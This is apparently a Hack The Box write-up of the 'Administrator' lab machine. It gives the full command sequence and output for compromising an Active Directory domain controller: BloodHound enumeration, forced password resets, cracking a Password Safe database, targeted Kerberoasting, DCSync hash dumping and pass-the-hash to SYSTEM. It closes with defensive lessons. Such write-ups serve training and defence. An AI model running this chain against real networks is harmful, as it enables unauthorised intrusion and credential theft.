



RETIRED MACHINE

Administrator

Machine Writeup · Hack The Box

4.4 ★
RATING

Medium
DIFFICULTY

Windows
OS

7,621
USER OWNS

6,988
SYSTEM OWNS

30
POINTS

MACHINE SYNOPSIS

Administrator is a Medium Windows Active Directory machine with assume breach scenario (olivia:ichliebedich). NTLM is enabled and SMB signing is required. BloodHound reveals a privilege chain: olivia has GenericAll over michael → ForceChangePassword over benjamin. Benjamin's FTP home directory contains a Password Safe v3 database (Backup.psafe3); pwsafe2john + john cracks it (tekieromucho) revealing cleartext credentials for alexander, emily, and emma. Emily has GenericWrite over ethan → targeted Kerberoast yields ethan's hash (limpbizkit). Ethan has DCSync rights → impacket-secretsdump dumps the Administrator NTLM hash → full domain compromise via psexec.

CONTENTS

01 Reconnaissance & Port Discovery

02 SMB Enumeration & BloodHound

03 GenericAll: olivia → michael (bloodyAD)

04 ForceChangePassword: michael → benjamin

05 FTP benjamin — Password Safe Backup.psafe3

06 emily → User Flag & GenericWrite over ethan

07 Targeted Kerberoast ethan → DCSync → Administrator

08 Lessons Learned

MH

Martí Hervás

Penetration Tester · Hack The Box · 2026

01

Reconnaissance & Port Discovery

TTL 127 confirms Windows. Nmap reveals a full Active Directory Domain Controller stack: FTP (21), DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), and WinRM (5985). Domain is **administrator.htb**, hostname **DC**, OS Windows Server 2022. SMB signing is required (signing:True) but NTLM is enabled — both NTLM and Kerberos authentication methods are available. The FTP service on port 21 is noteworthy as it may expose user home directories.

NMAP — PORT DISCOVERY

nmap — administrator.htb DC, Windows Server 2022

```
$ nmap -Pn -n --open -p- --min-rate 5000 10.129.5.29 -oG allPorts
$ extractPorts allPorts

[*] IP Address: 10.129.5.29
[*] Open ports: 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,...
```

NMAP — SERVICE VERSIONS

nmap -sCV — FTP + full AD stack confirmed

```
$ nmap -Pn -n -sCV -p21,53,88,389,445,5985 10.129.5.29 -oN target_tcp

21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: SYST: Windows_NT
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp    open  ldap         (Domain: administrator.htb)
445/tcp    open  microsoft-ds?
5985/tcp  open  http         Microsoft HTTPAPI 2.0 <- WinRM
Service Info: Host: DC; OS: Windows Server 2022

| smb2-security-mode: Message signing enabled and required
|_clock-skew: -1s <- clock synced, no Kerberos issues
```

FTP — ANONYMOUS & OLIVIA ACCESS TEST

FTP — anonymous and olivia denied, no home dir

```
# Anonymous FTP blocked:
$ ftp 10.129.5.29
Name: anonymous
530 User cannot log in.

# Olivia also blocked — no home directory configured:
Name: olivia
530 User cannot log in, home directory inaccessible.

# -> FTP only works for users with a configured home directory
# -> Continue enumerating with assume-breach credentials on SMB
```

NOTE

Port 21 (FTP) on a Domain Controller is unusual. Microsoft FTP Service uses Windows user accounts — if a user has a configured home directory on the server, they can log in. 'Home directory inaccessible' means the account exists but no FTP home folder has been set up. Keep FTP in mind when you discover more domain users.

02**SMB Enumeration & BloodHound**

The assume-breach credential **olivia:ichliebedich** authenticates successfully to both SMB and WinRM. NetExec enumerates 10 domain users and confirms olivia is in the Remote Management Users group (Pwn3d!). BloodHound data collected with bloodhound-python reveals the privilege chain: **olivia** → **GenericAll** → **michael** → **ForceChangePassword** → **benjamin**. Benjamin has FTP access with a home directory.

SMB VALIDATION & USER ENUMERATION

netexec SMB — olivia valid, 10 domain users enumerated

```
$ nxc smb 10.129.5.29 -u olivia -p 'ichliebedich'
SMB DC [*] Windows Server 2022 x64 (name:DC) (domain:administrator.htb)
SMB DC [+] administrator.htb\olivia:ichliebedich

$ nxc smb 10.129.5.29 -u olivia -p 'ichliebedich' --users
SMB DC -Username- -Last PW Set-
SMB DC Administrator 2024-10-22
SMB DC olivia 2024-10-06
SMB DC michael 2024-10-06
SMB DC benjamin 2024-10-06
SMB DC emily 2024-10-30
SMB DC ethan 2024-10-12
SMB DC alexander 2024-10-31
SMB DC emma 2024-10-31
```

WINRM — OLIVIA PWNEED + EVIL-WINRM

evil-winrm — olivia shell on DC

```
$ nxc winrm 10.129.5.29 -u olivia -p 'ichliebedich'
WINRM DC [+] administrator.htb\olivia:ichliebedich (Pwn3d!)

$ evil-winrm -i DC.administrator.htb -u olivia -p 'ichliebedich'
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami
administrator\olivia
```

BLOODHOUND — PRIVILEGE CHAIN DISCOVERED

BloodHound — cadena completa olivia → Administrator

```
$ bloodhound-python -c All -ns 10.129.5.29 -d administrator.htb \
--zip -u olivia -p 'ichliebedich'
[*] Found AD domain: administrator.htb
[*] Found 11 users, 53 groups, 1 computers
[*] Compressing output into 20260528_bloodhound.zip

# BloodHound attack path:
olivia --[GenericAll]--> michael
michael --[ForceChangePassword]--> benjamin
benjamin --[FTP access]--> Backup.psafe3
    -> emily:UXLCI5iETUSIBoFVTj8yQFKoHjXmb (Password Safe DB)
emily --[GenericWrite]--> ethan
ethan --[DCSync]--> Administrator
```

NOTE

GenericAll is the most permissive AD ACL — it grants full control over the target object including the ability to reset passwords, modify group membership, write SPNs, and impersonate the account via shadow credentials. ForceChangePassword allows resetting a user's password without knowing the current one.

03

GenericAll: olivia → michael (bloodyAD)

BloodHound confirms **olivia has GenericAll over michael**. Two attack paths are available: targeted Kerberoasting (WriteSPN) or a direct password reset via **ForceChangePassword** (also granted by GenericAll). The Kerberoast hash of michael is obtained with targetedKerberoast.py but cannot be cracked with rockyou.txt. The simpler approach — **bloodyAD password reset** — succeeds instantly, setting michael's password to **Udl1234**.

TARGETED KERBEROAST — MICHAEL HASH (UNCRACKABLE)

targetedKerberoast — michael hash not in rockyou.txt

```
$ python3 targetedKerberoast.py -v -d administrator.htb -u olivia -p ichliebedich
[*] Starting kerberoast attacks
[VERBOSE] SPN added successfully for (michael)
[+] Printing hash for (michael)
$krb5tgs$23$michael$ADMINISTRATOR.HTB$administrator.htb/michael*$04fe38...
[VERBOSE] SPN removed successfully for (michael)

$ john -w:/usr/share/wordlists/rockyou.txt michael_hash
# -> 0 password hashes cracked (rockyou.txt exhausted)
# -> Hash uncrackable with standard wordlist
```

BLOODYARD FORCECHANGEPASSWORD — RESET MICHAEL

bloodyAD — michael password reset via GenericAll

```

# GenericAll includes ForceChangePassword -> direct password reset:
$ bloodyAD --host 10.129.5.29 -d administrator.htb \
  -u olivia -p ichliebedich set password michael 'Udl1234'
[+] Password changed successfully!

# Validate new credentials:
$ nxc winrm 10.129.5.29 -u michael -p 'Udl1234'
WINRM DC [+] administrator.htb\michael:Udl1234 (Pwn3d!)

$ evil-winrm -i DC administrator.htb -u michael -p 'Udl1234'
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael
```

NOTE

When a Kerberoast hash is uncrackable with standard wordlists, fall back to other rights granted by GenericAll: ForceChangePassword is the most direct. bloodyAD --host <ip> -d <domain> -u <user> -p <pass> set password <target> <newpass> executes the password change via LDAP without requiring the current password.

04

ForceChangePassword: michael → benjamin

As michael, BloodHound shows **ForceChangePassword** over **benjamin**. The same bloodyAD technique resets benjamin's password. WinRM validation shows benjamin is **not** in Remote Management Users — no evil-winrm access. However, benjamin has a configured FTP home directory on the server, making FTP the lateral movement vector.

BLOODYAD — RESET BENJAMIN + WINRM CHECK

bloodyAD — benjamin reset, FTP login confirmed

```

$ bloodyAD --host 10.129.5.29 -d administrator.htb \
  -u michael -p Udl1234 set password benjamin 'Udl1234'
[+] Password changed successfully!

# Check WinRM access:
$ nxc winrm 10.129.5.29 -u benjamin -p 'Udl1234'
WINRM DC [-] administrator.htb\benjamin:Udl1234

# Benjamin NOT in Remote Management Users -> no evil-winrm
# But FTP is available! Benjamin has a home directory:
$ ftp 10.129.5.29
Name: benjamin
Password: Udl1234
230 User logged in.
```

05

FTP benjamin — Password Safe Backup.psafe3

Benjamin's FTP home directory contains a single file: **Backup.psafe3** — a Password Safe v3 database. This is a credential manager format that stores usernames and passwords encrypted with AES-256. **pwsafe2john** extracts the hash and **john** cracks the master password in under a second: **tekieromucho**. Opening the database with **pwsafe** reveals cleartext credentials for alexander, emily, and emma.

FTP — DOWNLOAD Backup.psafe3

FTP benjamin — Backup.psafe3 descargado

```
ftp> ls
10-05-24 09:13AM 952 Backup.psafe3

ftp> get Backup.psafe3
100% |*****| 952 15.47 KiB/s 00:00
226 Transfer complete.

$ file Backup.psafe3
Backup.psafe3: Password Safe V3 database
```

PWSAFE2JOHN + JOHN — CRACK MASTER PASSWORD

john — Password Safe master password cracked instantly

```
$ pwsafe2john Backup.psafe3 > psafe_hash

$ john -w:/usr/share/wordlists/rockyou.txt psafe_hash
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes

tekieromucho (Backup.psafe3)
1g 0:00:00:00 DONE -- 3.030g/s 15515p/s

# Master password: tekieromucho
```

CREDENTIALS EXTRACTED FROM PASSWORD SAFE DB

Password Safe — 3 cleartext credentials + emily WinRM

```
# Open with: pwsafe --passwd tekieromucho Backup.psafe3
# Or: use pwsafe GUI on Kali

$ cat creds
alexander UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily UXLCI5iETUSIBoFVTj8yQFKoHjXmb
emma WwANQWnmJnGV07WQN8bMS7FMAbjNur

# Validate against WinRM + SMB:
$ nxc winrm 10.129.5.29 -u emily -p 'UXLCI5iETUSIBoFVTj8yQFKoHjXmb'
WINRM DC [+] administrator.htb\emily:UXLCI5iETUSIBoFVTj8yQFKoHjXmb (Pwn3d!)

# emily -> WinRM access! User flag on her Desktop.
```

NOTE

Password Safe V3 (.psafe3) uses AES-256 with SHA-256 key derivation. The master password is the only protection — if it's weak, all stored credentials are exposed. Never store domain credentials in third-party password managers placed on shared or FTP-accessible directories. Use enterprise solutions with proper access controls and audit logging.

06**emily → User Flag & GenericWrite over ethan**

Emily authenticates via WinRM and the user flag is on her Desktop. BloodHound reveals emily has **GenericWrite over ethan** — enabling WriteSPN and therefore targeted Kerberoasting. Unlike michael's hash, ethan's Kerberos TGS hash cracks successfully with rockyou.txt: **limpbizkit**. Ethan has **DCSync rights** on the domain.

EMILY — EVIL-WINRM + USER FLAG

evil-winrm emily — user flag obtained

```
$ evil-winrm -i DC.administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
*Evil-WinRM* PS C:\Users\emily\Documents> whoami
administrator\emily

*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
7d09e5cf329c6a96b56dbc615a3f08ea

# PRIVILEGE INFORMATION (emily has no sensitive privileges):
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeChangeNotifyPrivilege    Bypass traverse checking      Enabled
```

BLOODHOUND — emily GenericWrite over ethan

BloodHound — emily GenericWrite -> ethan DCSync path

```
# BloodHound outbound control rights for emily:

emily --[GenericWrite]--> ethan --[DCSync]--> administrator.htb

# GenericWrite grants WriteSPN -> Targeted Kerberoast ethan
# ethan has DCSync (GetChangesAll) -> dump domain hashes

# Attack plan:
# 1. targetedKerberoast.py as emily -> get ethan TGS hash
# 2. John crack ethan hash
# 3. secretsdump as ethan -> dump Administrator NTLM
# 4. psexec with Administrator hash -> SYSTEM
```


07

Targeted Kerberoast ethan → DCSync → Administrator

targetedKerberoast.py with emily's credentials adds a SPN to ethan, extracts the Kerberos TGS hash (etype 23/RC4), and removes the SPN. John cracks it immediately: **limpbizkit**. With ethan's credentials, **impacket-secretsdump** performs a DCSync attack dumping all domain hashes. The Administrator hash **3dc553ce4b9fd20bd016e098d2d2fd2e** is used with **impacket-psexec** (Pass-the-Hash) to obtain a SYSTEM shell and read root.txt.

TARGETED KERBEROAST — ETHAN HASH

targetedKerberoast — emily WriteSPN -> ethan TGS hash

```
$ python3 targetedKerberoast.py -v -d administrator.htb \
  -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$46834548...
[VERBOSE] SPN removed successfully for (ethan)
```

JOHN — CRACK ETHAN HASH

john — ethan hash cracked in <1 second

```
$ john -w:/usr/share/wordlists/rockyou.txt ethan_hash
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads

limpbizkit      (?)
1g 0:00:00:00 DONE -- 16.66g/s 85333p/s

# Credentials: ethan : limpbizkit
```

IMPACKET-SECRETSDUMP — DCSYNC ALL HASHES

secretsdump DCSync — full domain hash dump via ethan

```
$ impacket-secretsdump 'administrator.htb/ethan:limpbizkit'@10.129.5.29
Impacket v0.14.0 - Copyright Fortra, LLC
[-] RemoteOperations failed: DCERPC Runtime Error (expected - normal)
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:::fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:::622c3f6a821f76d0ad9b47e90f17bf98:::

# Administrator NTLM: 3dc553ce4b9fd20bd016e098d2d2fd2e
```

IMPACKET-PSEXEC — PASS-THE-HASH → SYSTEM + ROOT FLAG

psexec PtH — Administrator SYSTEM shell, root flag

```
$ impacket-psexec 'administrator.htb/administrator:@DC.administrator.htb' \
  -hashes 'aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e'
Impacket v0.14.0 - Copyright Fortra, LLC
[*] Requesting shares on DC.administrator.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ycszucPw.exe
[*] Creating service zChf on DC.administrator.htb.....
[*] Starting service zChf.....
Microsoft Windows [Version 10.0.20348.2762]
C:\Windows\system32>

C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> type root.txt
cf2efe1db75306cf9d12df3cfbc95d6f

# DOMAIN COMPROMISED — NT AUTHORITY\SYSTEM via Pass-the-Hash
```

NOTE

DCSync (GetChangesAll right on the domain object) replicates the NTDS.DIT database to the attacker without needing a dump on disk. The DRSUAPI error is harmless — secretsdump falls back to the direct replication method automatically. Pass-the-Hash with psexec uploads a service binary to ADMIN\$ and creates a Windows Service — this is detectable by EDR. Prefer evil-winrm -H for stealthier access.

08**Lessons Learned****01****Overpermissive AD ACLs Create Escalation Chains**

GenericAll → ForceChangePassword → FTP access → Password Safe → GenericWrite → DCSync is a realistic assume-breach escalation path. Every excessive ACL (GenericAll, GenericWrite, WriteOwner, ForceChangePassword) should be audited and removed. Use BloodHound CE regularly to identify and remediate dangerous AD privilege chains before attackers do.

02**FTP on Domain Controllers Exposes User Files**

Microsoft FTP Service on a DC grants authenticated domain users access to their configured home directories. Placing a Password Safe database in an FTP-accessible folder exposed credentials for multiple domain accounts. FTP should not run on domain controllers; use SFTP or SMB with granular ACLs and audit logging instead.

03**Password Managers Without Strong Master Passwords Are a Single Point of Failure**

Backup.psafe3 was cracked in under a second with 'tekieromucho' from rockyou.txt. A compromised master password exposes every stored credential simultaneously. Always enforce a minimum 20-character random master password for credential databases, and never store them on network-accessible locations.

04 WriteSPN / GenericWrite Enables Targeted Kerberoasting on Any Account

GenericWrite grants WriteSPN — the ability to set a Service Principal Name on any user. Once an SPN exists, any domain user can request a TGS and crack it offline. `targetedKerberoast.py` automates the full cycle: add SPN, request TGS, remove SPN. High-value accounts with GenericWrite exposure must use very long random passwords (25+ chars) to resist offline cracking.

05 DCSync Requires Only a Single Account with GetChangesAll

ethan had DCSync rights (DS-Replication-Get-Changes-All) — a privilege typically reserved for Domain Controllers and specific AD replication services. A single compromised account with this right allows dumping the entire NTDS.DIT. Audit the ACL on the domain object and restrict DS-Replication-Get-Changes-All to only Domain Controller machine accounts.

Writeup authored by Marti Hervas · Hack The Box · Administrator Machine · 2026